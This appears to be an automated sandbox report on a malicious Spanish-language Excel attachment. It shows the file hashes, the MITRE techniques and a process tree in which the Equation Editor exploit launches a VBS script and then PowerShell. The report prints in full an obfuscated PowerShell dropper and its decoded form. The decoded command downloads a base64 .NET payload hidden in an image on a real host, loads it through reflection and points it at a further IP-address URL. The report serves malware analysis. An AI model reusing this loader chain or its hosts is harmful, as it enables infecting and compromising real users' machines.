6f0702bd1067a59dc036e671bc71f3ace69ed18c1e765baf515ec71c024fce7f

General

Target

entregar confirmación de dirección.xlsx
Size

824KB
MD5

c3b806165bc819983038bbf4a9678195
SHA1

95d8b970434ec336140735a9784742032a4710ec
SHA256

6f0702bd1067a59dc036e671bc71f3ace69ed18c1e765baf515ec71c024fce7f
SHA512

446c89d40f0e9b3bc3952347b2f3ef638e3b5502556178fc9f80be12ee525ad984929e936dd2bb7dc6a239d9f461499e1762fc3e39ed343dcbb866600f48f6fd
SSDEEP

12288:eML7nvXmv0+eT6eqC8v+pdj+5xcSpCb9jR00+3uNy37GIT/6Pp87Zn9yK/D/DMJa:bmv0bWTlWLaxc5tB+7j2P+l9yK/DLZVR

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129

exe.dropper

https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	2852	EQNEDT32.EXE
7	2300	powershell.exe
9	2300	powershell.exe
11	2300	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2852	EQNEDT32.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1060	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2920	powershell.exe
2300	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeDebugPrivilege	2300	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1060	EXCEL.EXE
1060	EXCEL.EXE
1060	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2852 wrote to memory of 2076	2852	EQNEDT32.EXE	29
PID 2852 wrote to memory of 2076	2852	EQNEDT32.EXE	29
PID 2852 wrote to memory of 2076	2852	EQNEDT32.EXE	29
PID 2852 wrote to memory of 2076	2852	EQNEDT32.EXE	29
PID 2076 wrote to memory of 2920	2076	WScript.exe	30
PID 2076 wrote to memory of 2920	2076	WScript.exe	30
PID 2076 wrote to memory of 2920	2076	WScript.exe	30
PID 2076 wrote to memory of 2920	2076	WScript.exe	30
PID 2920 wrote to memory of 2300	2920	powershell.exe	33
PID 2920 wrote to memory of 2300	2920	powershell.exe	33
PID 2920 wrote to memory of 2300	2920	powershell.exe	33
PID 2920 wrote to memory of 2300	2920	powershell.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\entregar confirmación de dirección.xlsx"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1060

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2852
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\uchewed.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DU#@$#OQ#@$#v#@$#DU#@$#MQ#@$#w#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#cgB1#@$#G0#@$#c#@$#Bf#@$#H#@$##@$#cgBp#@$#HY#@$#YQB0#@$#GU#@$#LgBq#@$#H#@$##@$#Zw#@$#/#@$#DE#@$#Ng#@$#5#@$#D#@$##@$#NQ#@$#w#@$#DQ#@$#MQ#@$#y#@$#Dk#@$#Jw#@$#7#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#I#@$##@$#9#@$#C#@$##@$#TgBl#@$#Hc#@$#LQBP#@$#GI#@$#agBl#@$#GM#@$#d#@$##@$#g#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#TgBl#@$#HQ#@$#LgBX#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#7#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#g#@$#D0#@$#I#@$##@$#k#@$#Hc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#C4#@$#R#@$#Bv#@$#Hc#@$#bgBs#@$#G8#@$#YQBk#@$#EQ#@$#YQB0#@$#GE#@$#K#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBV#@$#HI#@$#b#@$##@$#p#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#EU#@$#bgBj#@$#G8#@$#Z#@$#Bp#@$#G4#@$#ZwBd#@$#Do#@$#OgBV#@$#FQ#@$#Rg#@$#4#@$#C4#@$#RwBl#@$#HQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBC#@$#Hk#@$#d#@$#Bl#@$#HM#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#I#@$##@$#9#@$#C#@$##@$#Jw#@$#8#@$#Dw#@$#QgBB#@$#FM#@$#RQ#@$#2#@$#DQ#@$#XwBT#@$#FQ#@$#QQBS#@$#FQ#@$#Pg#@$#+#@$#Cc#@$#Ow#@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#I#@$##@$#9#@$#C#@$##@$#Jw#@$#8#@$#Dw#@$#QgBB#@$#FM#@$#RQ#@$#2#@$#DQ#@$#XwBF#@$#E4#@$#R#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C4#@$#SQBu#@$#GQ#@$#ZQB4#@$#E8#@$#Zg#@$#o#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bl#@$#G4#@$#Z#@$#BG#@$#Gw#@$#YQBn#@$#Ck#@$#Ow#@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#Gc#@$#ZQ#@$#g#@$#D#@$##@$#I#@$##@$#t#@$#GE#@$#bgBk#@$#C#@$##@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#Gc#@$#d#@$##@$#g#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#Cs#@$#PQ#@$#g#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#EY#@$#b#@$#Bh#@$#Gc#@$#LgBM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#7#@$#CQ#@$#YgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#T#@$#Bl#@$#G4#@$#ZwB0#@$#Gg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#t#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BD#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBT#@$#HU#@$#YgBz#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#s#@$#C#@$##@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#p#@$#Ds#@$#J#@$#Bj#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#QwBv#@$#G4#@$#dgBl#@$#HI#@$#d#@$#Bd#@$#Do#@$#OgBG#@$#HI#@$#bwBt#@$#EI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#FM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BD#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#Ck#@$#Ow#@$#k#@$#Gw#@$#bwBh#@$#GQ#@$#ZQBk#@$#EE#@$#cwBz#@$#GU#@$#bQBi#@$#Gw#@$#eQ#@$#g#@$#D0#@$#I#@$#Bb#@$#FM#@$#eQBz#@$#HQ#@$#ZQBt#@$#C4#@$#UgBl#@$#GY#@$#b#@$#Bl#@$#GM#@$#d#@$#Bp#@$#G8#@$#bg#@$#u#@$#EE#@$#cwBz#@$#GU#@$#bQBi#@$#Gw#@$#eQBd#@$#Do#@$#OgBM#@$#G8#@$#YQBk#@$#Cg#@$#J#@$#Bj#@$#G8#@$#bQBt#@$#GE#@$#bgBk#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C4#@$#RwBl#@$#HQ#@$#V#@$#B5#@$#H#@$##@$#ZQ#@$#o#@$#Cc#@$#RgBp#@$#GI#@$#ZQBy#@$#C4#@$#S#@$#Bv#@$#G0#@$#ZQ#@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#d#@$#B5#@$#H#@$##@$#ZQ#@$#u#@$#Ec#@$#ZQB0#@$#E0#@$#ZQB0#@$#Gg#@$#bwBk#@$#Cg#@$#JwBW#@$#EE#@$#SQ#@$#n#@$#Ck#@$#Ow#@$#k#@$#GE#@$#cgBn#@$#HU#@$#bQBl#@$#G4#@$#d#@$#Bz#@$#C#@$##@$#PQ#@$#g#@$#Cw#@$#K#@$##@$#n#@$#HQ#@$#e#@$#B0#@$#C4#@$#N#@$##@$#2#@$#GU#@$#cwBh#@$#GI#@$#ZQBl#@$#GU#@$#ZQBl#@$#GU#@$#ZQBl#@$#Gw#@$#aQBm#@$#GU#@$#b#@$#Bi#@$#G8#@$#bg#@$#v#@$#DQ#@$#Mg#@$#u#@$#D#@$##@$#Mg#@$#x#@$#C4#@$#O#@$##@$#3#@$#DE#@$#Lg#@$#1#@$#Dk#@$#MQ#@$#v#@$#C8#@$#OgBw#@$#HQ#@$#d#@$#Bo#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#LgBJ#@$#G4#@$#dgBv#@$#Gs#@$#ZQ#@$#o#@$#CQ#@$#bgB1#@$#Gw#@$#b#@$##@$#s#@$#C#@$##@$#J#@$#Bh#@$#HI#@$#ZwB1#@$#G0#@$#ZQBu#@$#HQ#@$#cw#@$#p#@$##@$#==';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.46esabeeeeeeeelifelbon/42.021.871.591//:ptth');$method.Invoke($null, $arguments)"
      4⤵
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
0a0dcf883bca10b0389fc3ff00e1c658

SHA1
8725aae8f94669fa8abbd85f9585435bb03608b1

SHA256
16807a511953396e434af0e7de9764192020adb4333bbd1222bf6268e48d5dff

SHA512
f1e27d5dc508b19dabab2658944c390268b6b36cc42f29858299adb954c6f3f505954e682056f8cf0d7072a3824bc61b24b87113fc77ca0a3b8e9257a3e934b7

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabA92D.tmp

Filesize
62KB

MD5
3ac860860707baaf32469fa7cc7c0192

SHA1
c33c2acdaba0e6fa41fd2f00f186804722477639

SHA256
d015145d551ecd14916270efad773bbc9fd57fad2228d2c24559f696c961d904

SHA512
d62ad2408c969a95550fb87efda50f988770ba5e39972041bf85924275baf156b8bec309ecc6409e5acdd37ec175dea40eff921ab58933b5b5b5d35a6147567c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarA9AC.tmp

Filesize
164KB

MD5
4ff65ad929cd9a367680e0e5b1c08166

SHA1
c0af0d4396bd1f15c45f39d3b849ba444233b3a2

SHA256
c8733c93cc5aaf5ca206d06af22ee8dbdec764fb5085019a6a9181feb9dfdee6

SHA512
f530dc0d024a5a3b8903ffaaa41b608a5ccdd6da4ba1949f2c2e55a9fca475fec5c8d2119b5763cabe7ef1c3788fb9dcac621869db51d65b1d83cfe404fb4c27

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\A0ZHXBEXXF7OTZH89CZY.temp

Filesize
7KB

MD5
e45905af0b10cb03ac54f2612f663281

SHA1
17ff1eff2ff0f36836c73d1717854c3c070356f2

SHA256
54592414961b73df2e6ea5a295e05592200b012a0b45438ff9302e233d82c594

SHA512
681525fe249ce48245b45a42383e10b805299d150f3a4309c5fc454af146655f0eba693e8ad7dc89785ede70a7918c58a76a129c0e32245aed4581039eb86f70

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
e45905af0b10cb03ac54f2612f663281

SHA1
17ff1eff2ff0f36836c73d1717854c3c070356f2

SHA256
54592414961b73df2e6ea5a295e05592200b012a0b45438ff9302e233d82c594

SHA512
681525fe249ce48245b45a42383e10b805299d150f3a4309c5fc454af146655f0eba693e8ad7dc89785ede70a7918c58a76a129c0e32245aed4581039eb86f70

Download Submit
C:\Users\Admin\AppData\Roaming\uchewed.vbs

Filesize
176KB

MD5
4d7bbbdd92ef9c2c1d587dd1dcf4318a

SHA1
2bf731a2551c9ef55f2185c36f8ab6488eda8173

SHA256
b2964365bf3534ad4dcb5c965f57cc74568a08b394d10283fc77f473432a8207

SHA512
f2f0677d0f9b3f3b7e070273151da9c44cb9f1a4324e0119ffcb4ac8c971e8eb9bbcf84ef40a1e4a2d252c8dabbe41680129978dadc62ea3f4b23834157710c9

Download Submit
C:\Users\Admin\AppData\Roaming\uchewed.vbs

Filesize
176KB

MD5
4d7bbbdd92ef9c2c1d587dd1dcf4318a

SHA1
2bf731a2551c9ef55f2185c36f8ab6488eda8173

SHA256
b2964365bf3534ad4dcb5c965f57cc74568a08b394d10283fc77f473432a8207

SHA512
f2f0677d0f9b3f3b7e070273151da9c44cb9f1a4324e0119ffcb4ac8c971e8eb9bbcf84ef40a1e4a2d252c8dabbe41680129978dadc62ea3f4b23834157710c9

Download Submit
memory/1060-55-0x0000000073EAD000-0x0000000073EB8000-memory.dmp

Filesize
44KB

Download
memory/1060-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1060-150-0x0000000073EAD000-0x0000000073EB8000-memory.dmp

Filesize
44KB

Download
memory/1060-149-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1060-79-0x0000000073EAD000-0x0000000073EB8000-memory.dmp

Filesize
44KB

Download
memory/2300-76-0x0000000001FE0000-0x0000000002020000-memory.dmp

Filesize
256KB

Download
memory/2300-74-0x000000006C930000-0x000000006CEDB000-memory.dmp

Filesize
5.7MB

Download
memory/2300-78-0x0000000001FE0000-0x0000000002020000-memory.dmp

Filesize
256KB

Download
memory/2300-75-0x000000006C930000-0x000000006CEDB000-memory.dmp

Filesize
5.7MB

Download
memory/2300-77-0x0000000001FE0000-0x0000000002020000-memory.dmp

Filesize
256KB

Download
memory/2300-144-0x000000006C930000-0x000000006CEDB000-memory.dmp

Filesize
5.7MB

Download
memory/2920-80-0x000000006C930000-0x000000006CEDB000-memory.dmp

Filesize
5.7MB

Download
memory/2920-68-0x0000000001E50000-0x0000000001E90000-memory.dmp

Filesize
256KB

Download
memory/2920-67-0x0000000001E50000-0x0000000001E90000-memory.dmp

Filesize
256KB

Download
memory/2920-143-0x0000000001E50000-0x0000000001E90000-memory.dmp

Filesize
256KB

Download
memory/2920-90-0x0000000001E50000-0x0000000001E90000-memory.dmp

Filesize
256KB

Download
memory/2920-145-0x000000006C930000-0x000000006CEDB000-memory.dmp

Filesize
5.7MB

Download
memory/2920-66-0x000000006C930000-0x000000006CEDB000-memory.dmp

Filesize
5.7MB

Download
memory/2920-65-0x000000006C930000-0x000000006CEDB000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing